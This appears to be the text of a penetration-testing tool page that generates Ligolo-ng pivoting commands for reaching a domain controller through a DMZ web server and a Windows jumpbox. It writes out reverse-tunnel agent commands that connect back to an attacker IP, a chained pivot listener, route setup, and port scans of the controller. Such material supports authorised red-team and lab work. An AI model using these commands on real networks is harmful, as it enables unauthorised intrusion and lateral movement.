Pivoting & Tunneling Architect
Navigating segmented corporate enclaves, dual-homed jumpboxes, and air-gapped Active Directory domains is often the most error-prone phase of an operation. Configure your target topology across public DMZs, internal workstations, and crown jewel subnets. The architect immediately generates paired client/server commands, custom interface bindings, and ip route add routing entries pre-populated with your exact IP addresses.
Select a verified network architecture preset or configure custom multi-hop subnets.
Attacker Box (Kali/C2)
User: kali
Pivot 1: Linux Web DMZ
User: www-data
Pivot 2: Windows Jumpbox / Workstation
User: CORP\jdoe
Target: Primary Domain Controller (DC01)
Crown jewels: Windows Server 2022 hosting Active Directory Domain Services.
Ligolo-ng (True Layer 3 TUN Routing)
Gold-standard modern pivoting. Establishes a virtual Layer 3 TUN interface on your attacker box. You interact with targets directly using native tools (nmap, smbclient, crackmapexec) without needing proxychains!
sudo ip route add 172.16.50.0/24 dev ligolosudo ip route add 10.200.1.0/24 dev ligoloInitializes the user-mode TUN adapter on the attacker box and launches the central Ligolo proxy daemon.
# Create TUN interface and bring it up sudo ip tuntap add user $(whoami) mode tun ligolo sudo ip link set ligolo up # Run the Ligolo-ng proxy listener ./proxy -autocert -selfcert -laddr 0.0.0.0:11601
Connects reverse tunnel back to Attacker on port 11601. No administrative privileges required.
# Execute Ligolo agent ./agent -connect 10.10.14.105:11601 -ignore-cert
In the Ligolo interactive proxy console, bind session 1 to the tun adapter.
ligolo-ng » session # Select session 1 [1] » start
Opens a TCP listening port on Pivot 1: Linux Web DMZ that transparently forwards incoming agent connections through the tunnel back to the Attacker proxy!
[1] » listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601 --tcp
Connects to Pivot 1 on 172.16.50.15:11601, which forwards back into session 2.
# Connect chained agent back to previous pivot listener .\agent.exe -connect 172.16.50.15:11601 -ignore-cert
Switches active routing to session 2 for deep subnet access.
ligolo-ng » session # Select session 2 [2] » start
ping -c 3 10.200.1.10nmap -sT -Pn -p 88,135,389,445,3268,3389 10.200.1.10curl -sI http://10.200.1.10- !SYN scans (nmap -sS) and OS detection (-O) can fail on TUN if raw sockets are not supported by the agent; always use TCP connect scans (nmap -sT -Pn).
- !ICMP ping will only work if the remote target responds to ICMP and the agent host has raw socket privileges.
- !Ligolo handles full TCP/UDP traffic, making Active Directory Kerberos and DNS resolution seamless.
Creates a virtual network adapter (ligolo) directly in your Linux kernel. Traffic is routed at IP packet level by adding standard kernel routes via sudo ip route add <subnet> dev ligolo.
Establishes an application-level proxy listener on localhost (e.g. 127.0.0.1:1080). Tools must be wrapped in proxychains4 or natively support SOCKS5 proxy arguments.